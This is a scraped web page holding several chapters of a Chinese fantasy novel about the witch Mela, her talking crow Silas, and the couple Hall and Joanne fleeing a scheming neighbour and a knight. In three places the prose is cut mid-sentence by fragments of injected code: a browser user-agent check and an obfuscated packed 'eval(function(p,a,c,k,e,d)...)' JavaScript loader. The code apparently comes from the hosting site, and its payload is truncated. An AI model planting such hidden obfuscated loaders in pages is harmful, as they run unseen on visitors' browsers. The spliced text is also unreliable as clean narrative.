0=7.0.6();b(/a|9|1|2|5|4|3|c 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她睁着眼睛,看着不断移动的地面,却看不见手搭在自己腰上,扛着自己走的人是谁,仿佛她正以一种诡异的姿势漂浮在半空中。 “霍尔,是你吗?” 哪怕明知道除了霍尔之外,压根不会有其他人会来救自己,乔安妮还是忍不住问出了声。 “是我。”空气中传来霍尔的声音。 一如既往的厚重沉闷,像锤子擂在土墙上,却让乔安妮感到了无比的安心。 “你怎么变成这个样子了?我看不见你了。”乔安妮道。 “这是我从梅拉小姐那买来的隐形药剂,喝了它后,就谁都看不见我了。本来我还给你留了半瓶,打算让你喝了后跟我一起逃走,只不过看你晕倒了,我就把剩下那半瓶药水收了起来。”霍尔解释道。 霍尔不舍得把药水灌给昏倒的乔安妮。 干脆改变计划,仗着霍华德看不见自己,直接把他给打晕了。 “晕了?那就好。”乔安妮彻底放心了,她可不会同情一个伤害自己的人。 让霍尔扛着自己继续走了会儿,乔安妮又道,“你累吗?不然还是把我放下来,让我自己走吧。” “放心,我还另外买了一瓶大力药剂,扛着你一路跑回去都没问题。”霍尔拍了拍胸膛,朝乔安妮保证到。 只不过,他很快意识到,这会儿乔安妮根本看不见他的动作。 “呀,我可真是个笨蛋,都忘了等药效过了你才能看见我。”霍尔懊恼不已。 乔安妮的唇角漾出笑意,安慰了霍尔几句。 “听起来,你们其实还挺顺利的?”梅拉忽然插入进来,打断了乔安妮的叙述。 此时乔安妮不仅把霍尔脸上的小刺全部清理了出来,还帮他把不小心沾上的草叶一一摘干净了。 因此这会儿霍尔总算能说话了,他朝梅拉露出一个苦笑,“可是意外很快就发生了。” 28. 第 28 章 “意外?”梅拉微微挑眉,一幅感兴趣的模样。 “对,我们根本没想到,霍华德竟然和领主手下的一名骑士勾搭上了。”霍尔咬牙切齿地道,表情有些沉重。 如果仅仅只是和霍华德闹翻,大不了霍尔关上门拒绝与他来往,再找办法让他没法对乔安妮下手就是了。 但,霍尔怎么也没想到,他才带着乔安妮逃走没多久,身后就传来了一阵急促的马蹄声。 出于姿势的便利,乔安妮率先看到了高大马匹上坐着的骑士,他没有穿全套的盔甲,只有一件胸甲在月光下泛着冰冷的光。 两条又短又粗的眉毛夹着石灰色的一双眼向下压,看着就一幅不好惹的样子。 事实上,也确实如此。 他与乔安妮对上视线后,眼中毫不掩饰地放出光来,“找到你们了!” 接着他的双腿一夹马肚,催促着身下的马匹加快速度,急吼吼地冲着乔安妮与霍尔而来。 乔安妮甚至看到他抽出了腰间的剑! 茫茫夜色中,那一点银色的剑尖带着迫人的锐利,绝不容她忽视。 霍尔虽然来不及转身看清身后的情况,但他同样听到了那句充满威胁的话语,急得脚下加快速度,直接跑了起来。 可人的两条腿又怎么可能跑得过马的四条腿呢? 几乎是几次呼吸的功夫,骑士手中那柄寒光凛冽的长剑便差点刺到了霍尔的背上。 本来霍尔现在在其他人眼中就是一团空气,不应该被看见才对,偏偏他的肩上扛着乔安妮,简直跟带了个活靶子没有区别。 还是乔安妮眼看着剑刺来,急得喊了一声“转过去!”,才让霍尔及时躲了过去。 与此同时,乔安妮的头发却被削断了一小节。 这么近的距离,失手了倒也无所谓,那名骑士看着霍尔与乔安妮,仿佛在看砧板上的鱼肉,带着居高临下的意味,紧接着毫不犹豫地刺出了第二剑。 他倒也没打算直接把人杀死,只是想让霍尔受伤,不得不停下来而已。 只不过因为看不清的缘故,那狭长的剑身眼看着就要往霍尔的心脏扎入。 幸好! 幸运再一次降临在了霍尔的身上。 他没防备,脚下一滑,竟然带着乔安妮沿着斜坡滚了下去,也恰好躲过了那致命的一剑。 然而这个斜坡很高,也很陡,霍尔只来得及调整一下姿势,用自己的身体尽量护住了乔安妮。 期间不乏有长着倒刺的木条扎在霍尔的手上、脸上,但乔安妮却在霍尔的保护下毫发无损,仅仅只是乱了头发。 好在两人这一滚,直接咕噜噜地一下子滚离了骑士的视野范围内,而灌木丛又很好地挡住了马匹前进的脚步。 遥遥听见上方传来一声恶狠狠的咒骂与马儿的嘶鸣声,霍尔却顾不得身上的疼痛,赶紧掏出之前收在怀里的半瓶隐形药剂,让乔安妮喝了下去。 药水生效的速度非常快,差不多是在乔安妮刚喝完最后一滴药水,便冷不丁地看见了霍尔那双含着期待的褐色眼珠。 成了!霍尔心下一喜,能看到隐身状态下的对方,说明乔安妮现在也和他一样了。 “快走。”乔安妮比霍尔率先回神,拽着他的手臂跌跌撞撞地往前跑去。 他们要赶在被追上之前,抓紧时间离开这里。 乔安妮原本的打算是回村子里,就算是要逃跑,也得收拾好东西再跑。 可还没跑到一半,霍尔发现这是回村子的方向后,立刻拉住了乔安妮,带着她转了个弯,踏上了另一条路,一门心思的往梅拉的小木屋奔去。 霍尔平时虽然算不上聪明,但碰上这种时候却意外地机敏,直觉告诉他,这时候回家未必安全,不如去小木屋寻求梅拉的庇护。再不济,听听莱克斯的建议也好啊。 他就是先前听了莱克斯的建议,才成功救出了乔安妮。 “你做的很对。” 对于霍尔的选择,莱克斯并不吝于给出自己的肯定。 他替霍尔分析道,“首先,从那名骑士如此快就追上了你们,不难判断出他应该是在你们离开后不久,就来到了霍华德的住处。” 换句话说,他在见到了晕倒的霍华德后,立刻意识到事情不对,骑着马,循着脚印就来追霍尔和乔安妮了。 这可不算一个好消息,因为这意味着绑架乔安妮带去向领主讨赏这事,那名骑士绝对有参与其中。 否则他的第一反应应该是先找医士来把人救醒才对。 “说不定,这本来就是他给霍华德提出的主意呢。”莱克斯有理有据地补充道。 否则以霍华德的身份,就算带着乔安妮前往庄园,又凭什么能见到领主。 大概他还没来得及接近领主的庄园,就会被巡逻的守卫抓起来丢进地牢里,等待管家的处置。 但若是有了那名骑士的带领,霍华德便能在庄园中畅通无阻。 “其次,假设事实与我猜测的差不多的话,那名骑士一定对乔安妮志在必得,即他一定要带着乔安妮去往领主面前。” 至于他为什么要这么做,想必和领主的态度脱不了干系。 不过此地的领主为何突然要找与女巫相关的人,莱克斯在停顿的间隙十分自然地向梅拉投去一瞥,其中带着点探究,他想这事梅拉或许知道些内情。 然而回应他的却是梅拉歪着脑袋,眨了眨眼,神情很是无辜。 “既然刚才侥幸让你们跑了,有很大可能他会转道前往你们所在的村子,打算来个守株待兔。”不管梅拉到底是不是装出来的无辜,莱克斯已经收回了目光,接着道。 毕竟按照一般人的想法,劫后余生的第一反应便是回到安全的地方,比如家中。 哪怕是打定主意了要离开此地,到别的地方先躲一阵风头,也得先收拾好值钱的东西再说。 不得不说,在某种程度上,莱克斯的猜测与乔安妮原先的想法不谋而合了。 也就是说,若是霍尔和乔安妮刚才真的回家去了,那才是货真价实的自己送上门去的傻兔子。 “那……”霍尔与乔安妮对视一眼,“按照你的说法,我们之后是不是不能留在村子里正常生活了?” 尽管用的是问句,但答案显然已经浮现在了两人的心中。 本就沉重的心情再度往下一坠。 “换个角度想,只要你们现在离开,这件事也就到此为止了。” “毕竟不管是那名骑士还是霍华德,暂时都无从得知你们的去向,你们正好抓紧时间搬走,离开村子,甚至离开雷德克里夫领,到时候,单凭他们两个的力量,是绝不可能搜捕得到你们的踪迹的。”莱克斯挑眉道。 假如霍尔现在抬头,就能发现莱克斯此刻的神态竟与梅拉如出一辙。但他低垂着脑袋,像根被风吹蔫了的狗尾巴草。 这也不难理解,毕竟是要突然阔别生活了三十多年的家乡,还是因为一场无妄之灾,换谁来想必一时半会都难以接受。 但,这也是没办法的事,不搬走,难道还真的回去乖乖地任人宰割吗? “都怪我。”一旁的乔安妮忽然自责道。 “要不是我太在乎这张脸,离不开变形药剂,让霍华德看出了端倪,又怎么会惹出这么麻烦的事情来……” 乔安妮看向霍尔,眼角俨然挂上了几滴晶莹的泪珠。 莱克斯则悄无声息地递了个疑惑的眼神给梅拉,其实他有个问题一直没弄明白,那就是霍华德到底是从哪发现了乔安妮的不对劲。 “你现在这张脸,应该是十六岁被大火烧伤之前的样子吧。”梅拉收到莱克斯的眼神,直言不讳地问了出来。 一点也不担心戳人伤疤。 “……您猜得没错。”乔安妮的悲伤被梅拉打断,她用手抹了抹眼角的泪,顺带摸到了自己脸上那平坦又紧致的皮肤。 一回想起那场害自己烧得面目全非,不敢出门见人的大火,即使已经过去了十几年,乔安妮还是吓得立刻放下了手,仿佛脸上又升起了曾经日日夜夜折磨着她的,火辣辣的痛感。 以及午夜梦回时,手摩挲过脸上,坑坑洼洼的触感。 火灾?有了梅拉的提醒,莱克斯终于注意到乔安妮脸上过于光滑幼嫩,仿佛十几岁少女般的肌肤。 实不相瞒,他一开始还以为这是乔安妮保养得宜的效果。 却没有细想,一个日夜操劳的农妇怎么可能像他曾在王宫见过的贵妇人一样,花大价钱和精力去保养自己的脸蛋。 尤其,乔安妮的手充满了茧子和冻疮留下的痕迹。 因此当她的手和脸蛋放到一起,简直像是把两个不同年纪的人的身体放在了一起。 对容貌的敏感让乔安妮留意到了莱克斯脸上一闪而过的若有所思的表情,只不过对经历过别人的厌憎和嫌恶的乔安妮来说,这点反应完全不足以刺痛她的内心。 那时她顶着那样一张脸,被自己的父母赶出家门,被自己救了的弟弟拿石头砸在身上,只能住在河边一间稻草搭起来的破屋子里,都愣是咬牙挺了过来,没有心灰意冷地跳入河中一了百了。 后来还遇到了愿意喜欢她、愿意娶她的霍尔。 现在哪怕重新揭开伤疤给人看,乔安妮却惊觉伤口其实并不如她回忆中的那样痛了。 只不过,如果能提前知道这会给霍尔带来麻烦,乔安妮想,她宁可顶着那张丑陋的脸过一辈子。 “我不怪你。”沉默了许久的霍尔忽然道。 “喝了变形药剂后,你可以正常地在村子里生活,和其他村民打交道,这难道不好吗?” 不仅如此,霍尔觉得他非常感谢梅拉当初拿出了变形药剂,否则乔安妮大概这辈子都不会同意和他在一起吧。 那时候,不管霍尔如何想要证明他不介意乔安妮是否毁容了,他喜欢的是乔安妮的善良与温柔,乔安妮却因为自卑,屡屡拒绝他的示爱,甚至还想过偷偷搬走,再也不与他见面。 霍尔一边阻止了乔安妮,一边狠下心,来到黑暗森林试图找到自己曾帮助过的女巫,打算从她的手里得到一个让乔安妮可以恢复容貌的办法。 他准备了足够的钱,也准备好了付出其他的代价。 然后女巫,也就是梅拉,便带着塞拉斯忽然出现在了他面前。 “说说吧,你想找我帮什么忙?” 梅拉单手托着腮,一幅兴致勃勃想要听故事的样子。 听到霍尔磕磕巴巴地将他与乔安妮的事情全盘托出,梅拉“唔”了一声,语调含笑,“啊,恢复容貌的办法,我这里确实有。” “三天后,来这棵树下,我会让塞拉斯把你想要的东西带过来。” “好、好的,女巫小姐,那我是白天来还是夜里来比较好呢?”霍尔努力克服着心底对于女巫的恐惧,问道。 他也是忽然想起儿时听过的故事里,女巫都喜欢在黑夜里做交易,因为她们拿出来的东西往往都见不得光。 “按现在这个时间来就好了。”梅拉奇怪地看了霍尔一眼,觉得他的问题实在有些离谱。 大晚上的,即使是塞拉斯也不乐意出门啊。它是乌鸦又不是猫头鹰。 “还有,叫我梅拉就好。”梅拉又道。 “好的,梅拉小姐。”霍尔重重地点了下头,表示自己明白了。 ……他到底明白了什么。梅拉忍不住想在心里叹气。 不过,这桩交易到底还是在三天后完成了。 塞拉斯叼着篮子,用眼神示意霍尔把盖在篮子上的布掀开,拿走里头的两瓶药剂。 “这是两瓶变形药剂,只要把它喝下去,然后想象自己想要变成的样子就行了。” 在霍尔举着瓶子打量的功夫,塞拉斯忽然开口介绍到。 还把霍尔给吓了一跳。 乌、乌鸦竟然会说话! 不过想想这是女巫的宠物,会口吐人言也就不足为奇了。霍尔在心里自我安慰道。 塞拉斯没有理会霍尔的大惊小怪,接着把梅拉的话转述给他听,“对了,一瓶药剂生效的时间是半个月,所以下个月后,你再来这棵树下,我会把新的药剂带给你。” “原来没办法一次解决吗……”霍尔看上去有些失望的模样。 “拜托,脸都烧毁了,这么严重的伤,你还想一瓶药剂就能解决,是不是太异想天开了一点。”塞拉斯听了霍尔的话,没忍住翻了个白眼。 “当然,梅拉说了,这桩交易你随时都可以喊停,反正需要喝这玩意儿的又不是你。要是哪天对你现在喜欢的那个女人腻了,正好抛弃变得丑陋的她换个新的妻子好了。” 说着,塞拉斯嘎嘎大笑着飞起来,在霍尔头顶的那片天空盘旋了一圈,便叼着空了的篮子彻底飞走了。 甚至没有留下来听霍尔的反驳。 霍尔望着塞拉斯远去的背影,捏紧了盛着药水的瓶子,一阵气闷,他想说,他绝不会当负心汉,毕竟他从始至终就不是因为乔安妮的脸而喜欢她的。 当霍尔将变形药剂交给乔安妮,同她说了其作用后,乔安妮一面用怀疑的眼神打量瓶子里的药水,一面询问霍尔这是哪来的东西。 “……是我从女巫手里买来的。”霍尔想着反正这件事以后也是要告诉乔安妮的,不如干脆一开始就坦白。 “女巫?你竟然同女巫做了交易!”乔安妮下意识抬高了音调,用一种恨铁不成钢的眼神盯着霍尔直瞧。 她怎么也没想到看起来老实巴交的霍尔胆子竟然这么大,都敢同女巫做交易了。 “其实……梅拉小姐是位很好的女巫,一瓶变形药剂只要了我十二枚银币……”霍尔挠了挠头,试图在乔安妮面前为梅拉说好话。 结果就是让乔安妮更吃惊了,“这么一瓶不知道效果的药水,竟然就要花十二枚银币?你疯了?” 看样子她巴不得把药剂再塞回霍尔手里,让他去找女巫把银币拿回来。 “有没有用,你试试不就知道了?”霍尔倒是十分真诚地劝她道。 虽然私心里,霍尔觉得能让乌鸦口吐人言的梅拉应该是非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“如果非要怪谁的话,那就怪霍华德好了,如果不是他动了这样阴险的心思,我们又怎么会被逼到不得不离开的地步。” 霍尔顺势抚上乔安妮的肩膀,针对她之前那句自责说了句心里话。当然,他是真心实意这么想的,绝不仅仅只是为了安慰乔安妮。 “亲爱的……”乔安妮的眼角再度闪烁起了泪意,只不过这一次是因为喜悦和解脱。 她彻底放下了心中的愧疚与自责。 “话说得可真好听,果然再老实的男人在哄女人这上头都犹如信手拈来,”梅拉哼笑一声,像是看不别人正处在浓情蜜意的时刻,非要往上泼一盆冷水,“若是你的心里真的一点怨怼都没有,刚才又为什么要沉默?” “这个……我刚才其实是在想,既然我们打算搬家的话,不如干脆搬到隔壁拜亚德领好了。” 虽然莱克斯说如非意外,他们今后应该不至于再倒霉地撞上霍华德,但霍尔难免担心,万一他就是这么霉运罩顶呢? 还是干脆搬离雷德克里夫领,以绝后患比较好。 只不过,霍尔觉得他要是把这话说出来,好像他不信任莱克斯一样。 他保证,他真的没有这个意思。 也不知道莱克斯会不会信。 霍尔偷偷瞄了莱克斯一眼,没法从他的表情上看出任何端倪。 不过既然现在已经把话说开了,霍尔干脆把剩下的想法全盘托出:“除此之外,我还在想搬去拜亚德领哪个地方,方便我以后再来找梅拉小姐你购买药剂。” 多尼克的年纪大了,霍尔早就很少让它来拉车了,若是搬去的地方离黑暗森林太远,他一个人怕是走不动。 “这个嘛,你问我还不如问莱克斯,在这座小木屋里,没有人比他对这个王国更清楚了。”梅拉将霍尔的问题像烫手山芋一样抛给了莱克斯。 “既然这样的话,没有比拜亚德领的金麦镇更适合你们的地方了。”莱克斯道。 “那里的税务官是出了名的油滑。” 油滑,意味着只要肯给他好处,就能达成自己想要的目的。 比如给从隔壁雷德克里夫领过来的霍尔与乔安妮安排一个土生土长的金麦镇身份。 “而拜亚德领的领主,也是出了名的怠惰。” 即只要不影响他吃喝玩乐,无论领地上发生了什么事,他都漠不关心。 更别提主动去查看自己的领地内是不是莫名其妙多出来了两个人了,恐怕从他继任领主的位子至今,就没管过多少领地内的事务。 “再加上金麦镇离黑暗森林并不算很远,哪怕加上途中休息的时间,大概也只要走上一天一夜而已。” 因此不管怎么看,金麦镇都完美地满足了霍尔提出的一切要求。 “太好了,那我们就搬去莱克斯说的那个地方吧!”霍尔低头,看向乔安妮。 在霍尔的注视下,乔安妮点了点头,一切都随他安排,她没有异议。 “就是可惜我们没法带着土地一起走……” 以及屋子里零零碎碎的家当,包括那台曾经花了大价钱才买到的手纺车,都只能全部留下来了。 “你们的土地大概本来就保不住。”莱克斯道。 他这么说,倒也不是无的放矢。 “你不就认识有突然被收回土地,还欠了领主一屁股债的村民吗?”见霍尔面露不解,莱克斯提示道。 “你说的是他啊!”霍尔恍然大悟。 他附在乔安妮耳边说了个名字,紧接着乔安妮也跟着露出同样的表情。 “但是我听说,他是因为将变质的粮食以次充好卖给了粮食商人,才闹到了领主大人的面前。”霍尔迟疑地道。 “区区一个粮食商人,凭什么让领主给他主持公道,这无疑就是雷德克里夫伯爵安排好的手笔。” 莱克斯加重了语气,强调到,“也就是说,即使没有霍华德这一出,你手里的土地迟早有一天也会被盯上。” 因此尽早搬离这个是非之地,对霍尔与乔安妮来说,反而是件好事也说不定。 原来是这样!乔安妮听明白了,心里一下子涌上了紧迫感,恨不得这就和霍尔赶紧搬走。 正好,霍尔也有此意。 他们忙不迭向梅拉告别,趁着夜色尚深,正好悄悄去取走这些年暗中藏下的钱币。 有了钱,到金麦镇想买什么都不成问题。 目送霍尔与乔安妮走后,一直在琢磨莱克斯话的梅拉忽然问,“我怎么觉得你好像对拜亚德领的领主和税务官都非常熟稔的样子?” “噢,这大概是因为如今拜亚德领的领主,拜亚德伯爵是我姑姑的丈夫,而金麦镇的税务官则是上任拜亚德伯爵的小儿子,他们一家都曾经来王宫闹出过不少笑话吧。” 莱克斯云淡风轻地答道。 29. 第 29 章 睡了一觉睁开眼,发现今天的天气无比晴朗时,人的心情也会跟着变得晴朗起来。 至少梅拉今天的心情就很不错。 连每日的例行检查,发现前不久好不容易找来的一批黑晶鸢尾种到花盆里,却瘪了不少花苞时,梅拉都没有气急败坏地喊莱克斯过来,查看这到底是怎么一回事。 与她相反的则是塞拉斯,简直像是有一团肉眼可见的乌云笼罩在它的头顶上似的,正随着它的移动不断地下着小雨。 即使是梅拉,也忍不住退避三舍,暂时和塞拉斯拉开距离,免得给这只可怜的乌鸦雪上加霜。 “你知道塞拉斯这是怎么了吗?”梅拉悄悄凑到莱克斯身旁,刻意压低了声音,问道。 自从塞拉斯与莱克斯相处的时间越来越久,有些话,它揣着莫名其妙的自尊心不愿意向身为主人的梅拉倾诉,倒是很愿意分享给莱克斯。 尽管它每一次说完,都要补上一句“记得替我保密”,但莱克斯记得自己从没答应过。 于是每当梅拉问起,莱克斯总是毫无心理负担地就把塞拉斯那点不可告人的心事抖露了出来。 这一次也一样。 “又被百合小姐拒绝了吧。”莱克斯淡淡地道。 “百合小姐?” “这是它为那只白鸽取的名字。” ——“百合小姐的羽毛洁白而动人,不正像一朵美丽的百合花一样吗?”这是塞拉斯和莱克斯分享的有关起名的心路历程。 白鸽? 噢,梅拉想起来了,莱克斯先前和她提到过,塞拉斯最近喜欢上了一只刚搬来黑暗森林居住的白鸽。 “只不过,它这样擅自为人家取名,那只白鸽同意了吗?”梅拉又问。 关于这个问题,莱克斯沉吟片刻,然后诚实地摇了摇头,“我不知道。” 塞拉斯倒也不是什么都会和他说的。 譬如那些让它自觉丢脸的事情,塞拉斯就难得闭上了它那张爱絮叨的嘴,比紧闭的蚌壳还难撬开。 “不过,如果我是那只白鸽,应该不会喜欢一个异族给自己取的名字。”莱克斯设身处地地想了一下。 不如说,假如哪一天有个异族兴冲冲地跑过来,用古怪的语调喊自己,仿佛那是他特意为自己取的名字一样,莱克斯一定会控制不住流露出嫌弃的眼神。 谁要别人乱七八糟起的名字啊?他莱克斯明明有正儿八经的属于自己的名字。 这倒也是。梅拉赞同地点了点头。 虽然在人类的眼里,乌鸦和白鸽无非都是鸟,哪里就算得上异族了,但在真正的乌鸦和白鸽眼里,对方应该比人和狗的差别都大。 因此当初听说塞拉斯喜欢上了一只白鸽时,连莱克斯都难得露出了惊讶的表情。 梅拉“唔”了一声,起初她当然也有些诧异,但很快,她又觉得没什么好意外的,毕竟那是塞拉斯啊,“从会说话的那一刻开始,塞拉斯就注定不再是一只普通的乌鸦了。” 甚至某种程度上,梅拉竟然诡异地能够理解塞拉斯的选择。 一直以来,塞拉斯就以它那双有力的翅膀和一身乌黑发亮的羽毛而自豪不已,因此它会喜欢上那位百合小姐完全是一件很正常的事嘛,毕竟它这辈子也没办法再另外拥有一身洁白无瑕的羽毛了。 说到这个,莱克斯侧过脸,看向梅拉,“我记得塞拉斯能够口吐人言,是因为无意中喝下了你炼制出来的药剂?” “嗯……”梅拉随着莱克斯的话陷入了回忆之中,那真是非常久远的一个故事了。 当时梅拉还住在白松镇上,年仅十五岁。 只不过半年前,威普多因为一场高热意外离世,而他作为镇上唯一的医士,几百号人的头疼脑热都指望着他来救治。 当他也病倒时,原本还不屑于找梅拉看病的人们此刻也不得不承认她身为威普多继承人的身份,关键是,梅拉的医术确实毫不逊色于她的父亲。 于是威普多的葬礼一结束,梅拉便正式接过了他的衣钵,成为了镇上新的医士。 平日里除了给大家看病以外,梅拉依旧会三不五时的上山采集草药。 而塞拉斯,就是在梅拉某次上山途中偶然遇到的可怜小乌鸦。 那会儿塞拉斯身上的羽毛都没长全,只有薄薄的一层,还是只雏鸟呢,就倒霉地从树上的巢穴中掉了下来。 因为摔断了几根骨头,疼得小塞拉斯不停地发出细弱的叫唤。 然而这时候,巢里只有小塞拉斯同样尚未成年的兄弟姐妹们,即使它们听到了小塞拉斯的呼痛声,也只能仰着脖子哀哀回应,却无力将它给救上来。 幸好小塞拉斯的声音在吸引了其它野兽之前,先引来了正在附近的梅拉,否则它这么大点的小鸟,大概只能被当成小点心一口吞下。 听力极佳的梅拉没有错过风中传来的那道若有若无的叫声,应该是什么小鸟在叫吧?她想。 只不过她的脚尖诚实地往声音传来的方向一转,不继续上山了,改为顺着声音的来源一路找去。 果然是只小鸟在叫,梅拉看见了瘫在地上无法动弹的小塞拉斯,还是只丑丑的小乌鸦。 看样子,它应该是不小心从树上的巢穴里掉了下来。 梅拉抬头,一眼便找到了圆圆的碗似的巢穴,顺便估摸了一下巢穴所在的高度。 是有点高,但对于爬树本事一流的梅拉来说,倒也不是爬不上去。 换做别人,这会儿应该就想着该如何把小乌鸦送回家了。 但梅拉不一样。 她想,既然是她打算救的小乌鸦,凭什么要再还回去,当然是要捡回来当自己的鸟了。 于是,梅拉俯身,捡起还在瞎叫唤,甚至因为她的举动叫得更急更慌的小塞拉斯,用双手捧在掌心,连草药也不采了,就这么一路下山,回到了属于她的屋子里。 回到家,梅拉随手将小塞拉斯放到了桌子上。 而她则经历了一阵东翻西找,终于找出了她藏在柜子最深处的治愈药剂,顺带还拿了把勺子过来。 没办法,小塞拉斯目前还是太小了,梅拉没法把药水从它的嘴里硬灌下去。 只能先滴了一些在勺子里,浅浅的一小湾湖泊似的,倒映着梅拉水草般幽绿的眼睛。 梅拉用了点力,勺子硬生生顶开了小塞拉斯的喙,顺着将药水倒了进去。 小塞拉斯不出所料的对梅拉要喂给它喝的东西非常抗拒,扑腾着翅膀,甚至笨拙地腾挪着受伤的身体,转身想逃。 可惜被梅拉提前看穿了它的意图,邪恶的手伸过来,一把禁锢住了巴掌大的小乌鸦。 于是小塞拉斯被迫喝光了勺子里的药水。 确认勺子里一滴都不剩后,梅拉总算把它挪开,自顾自地去忙别的事了,任小塞拉斯在她身后像呛了风一样疯狂地咳嗽。 过了好一会儿,小塞拉斯总算缓过了劲,它原本就有些蔫,这下更是直接将自己蜷缩起来,警惕地打量了一圈这个陌生的环境。 周围都是些它从没见过的东西。 包括它屁股底下这个高高的,用许多块木头搭起来的平台。 好在上头经年日久的木香是小塞拉斯熟悉的味道,即它所在巢穴周围最常见的白松树的味道,这让小塞拉斯稍稍安了点心。 又过了一会儿,梅拉的身影消失在了楼梯之上,小塞拉斯便大着胆子站了起来,尝试着往前走了两步。 奇怪,小塞拉斯歪了歪脑袋,觉得身上一点也不痛了,就好像没有从巢穴里摔下来过一样。 虽然不知道具体的原因,但哪怕现在它的脑仁只有丁点大,小塞拉斯还是意识到了它身上不痛,与人类喂给它喝的东西脱不了干系。 因此在梅拉又一次伸手,把它拿到手里仔细端详的时候,小塞拉斯不再挣扎,而是静静地任由梅拉打量。 嗯……它现在的样子好丑,等羽毛长齐了,应该就好看了吧?梅拉盯着手心里的小塞拉斯,想到。 为了早日让小塞拉斯长出漂亮的羽毛,梅拉在之后喂给它吃的糊糊里加了许多材料,包括对人类头发有益处的一些草药。 尽管梅拉也不知道这些草药对鸟有没有用。 当然,哪怕没用也没关系,凡事总要有第一次的尝试嘛。 一开始,小塞拉斯对味道诡异的食物采取了拒绝的态度,脑袋胡乱摇摆着,愣是不让勺子碰到它的喙。 可惜这点挣扎在梅拉看来就和撒娇差不多。 甚至梅拉捏住小塞拉斯的脑袋,义正辞严地告诫它,“不许挑食噢,否则不健康的身体是一定会生病的。” 说完, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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它知道梅拉平时喜欢把装着这种水的瓶子藏在一个柜子里,只有夜深人静的时候才会将其拿出来,倒到另外的碗里进行捣鼓。 柜子没有上锁,毕竟梅拉十分笃定没人会闯进来偷盗家里的东西,除非他不打算在白松镇继续生活下去了,否则没人敢得罪镇上唯一的医士。 于是小塞拉斯只不过拽住了把手,一拉,柜门便开了,露出幽暗的内里。 以它现在的身躯,轻而易举就能钻进去。 只不过各种各样的瓶子堆得实在太多了,高的、矮的、挺着个大肚子的,纤细得仿佛脖颈的,小塞拉斯看花了眼,也挑不出哪一瓶里装着对自己有用的水。 此时,梅拉正走在回家的路上。 昨天,夏洛特太太派女仆找上门,说她身上不舒服,请梅拉第二天早上上门来为她看一看。 因此梅拉今天一大早,就带着药箱出门了。 等梅拉见到靠在床上,唇色发紫的夏洛特太太,眼神不由得凝重起来。 这并不是说夏洛特太太身上的毛病她治不好,只是治起来会有些麻烦,与此同时还得多亏她派人来得及时,否则再拖几天,病情将会变得更加棘手。 成功将丰厚的诊金拿到手后,梅拉哼着歌,走在了回家的路上。 当她推开门,发现塞拉斯竟然不在桌子上,只好扬声呼喊它的名字,“塞拉斯——你在哪呢?别不是因为贪玩掉进沙发缝里了吧?” 梅拉放下药箱,走到沙发前,扒拉开柔软的垫子,没有找到塞拉斯的踪迹。 好吧,看来塞拉斯不在这。 “塞拉斯?你在哪呢?” 梅拉只好又喊了一遍。 同时小心翼翼地观察着脚下的地毯,以免一个不慎一脚踩到了塞拉斯的身上。 “……我……我在这儿呢……” 有细如蚊吟的声音从靠墙的柜子里传出来。 嗯?! 梅拉快步走到柜子前,蹲下来,一下子瞧见了把自己缩成球,却硬着头皮与她对视的塞拉斯。 它像是知道自己做了错事一般,浑身抖得跟筛糠似的。 而它的身旁,静静地躺着几个已经喝空了的瓶子。 30. 第 30 章 总之,塞拉斯胡乱喝下的那几种药剂在它的身体内发生了令梅拉也无法预料的变化。 好在经过一段时间的观察,梅拉发现塞拉斯除了变得更加聪明,能够像人类的孩童一般学习说话之外,并没有露出其它的异样。 最后连梅拉都忍不住支着下巴,感叹塞拉斯的好运。 要知道在威普多离世之前,梅拉压根不敢在他的眼皮子底下大张旗鼓地捣鼓这些药剂,若是让威普多知道她竟然和女巫扯上了关系—— 以威普多的性子,为了她的安全着想,绝对会逼着她当着他的面立下誓言,这辈子都不许再尝试这些普通医士闻所未闻的草药搭配,以免被有心人察觉出端倪。 梅拉不想走到必须得在接受与反抗之间二选一的地步,干脆暂时压抑住尝试的欲/望,琢磨着之后在山上找个避人耳目的山洞。 没想到威普多意外离世,这间屋子猝然间只剩下她孤零零的一个人。 至于塞拉斯喝下的那几瓶药剂,梅拉甚至还没来得及试验它们具体的药效。 “等等,”莱克斯出言打断了梅拉的回忆,“那些药剂难道不是你根据书上所写的秘方制作出来的吗?” “你在说笑吗?当然不是了。” 梅拉云淡风轻地说出了一件令人目瞪口呆的事情。 “你在地下室见到的那些书,都是我后来才收集起来的,一开始,我完全是凭着记忆和经验在尝试制作药剂。其中当然有不少失败的例子,少数看上去成功了的药水,则被我装在了瓶子里,藏到了柜子的深处。” 这也就是为什么,梅拉会说塞拉斯幸运的原因。 那些不知道到底具有什么样功效的药水,在塞拉斯的肚子里糅合、变化,最后竟然成功地创造出了一个奇迹。 奇迹最大的特点便是无法复刻的偶然性。 即使后来梅拉根据记忆又做了许多类似的尝试,身边也没有再多出来第二只会说话的兔子或猫咪。 梅拉不免为此感到有些可惜。 “……这么说的话,塞拉斯当初能活下来可真是命大。”莱克斯沉默了一会儿,道。 “谁说不是呢,可惜它的好运在求偶这方面好像不太灵光。”梅拉看向屋子里,犹如行尸走肉一般的塞拉斯。 莱克斯则颇为赞同地点了点头。 * 有时候不得不怀疑,善于预言的女巫在某些时候脱口而出的话或许也是某种谶言。 几天后,塞拉斯的状态都不能用乌云罩顶来形容了,简直可以说是生无可恋地躺在梅拉的桌子上,任由梅拉用手指戳它的肚子,仍然一动不动,仿佛灵魂都飘向了未知的远方。 “这是又怎么了?或许你说出来,我和莱克斯能帮你想想办法呢?”梅拉难得愿意充当一个体贴的主人,温声细语地问道。 “我……”塞拉斯听了梅拉的话有些意动,犹犹豫豫地开了个头。 “嗯?”梅拉温柔地递上一句,仿佛在为塞拉斯接下来要说的话搭起了台阶。 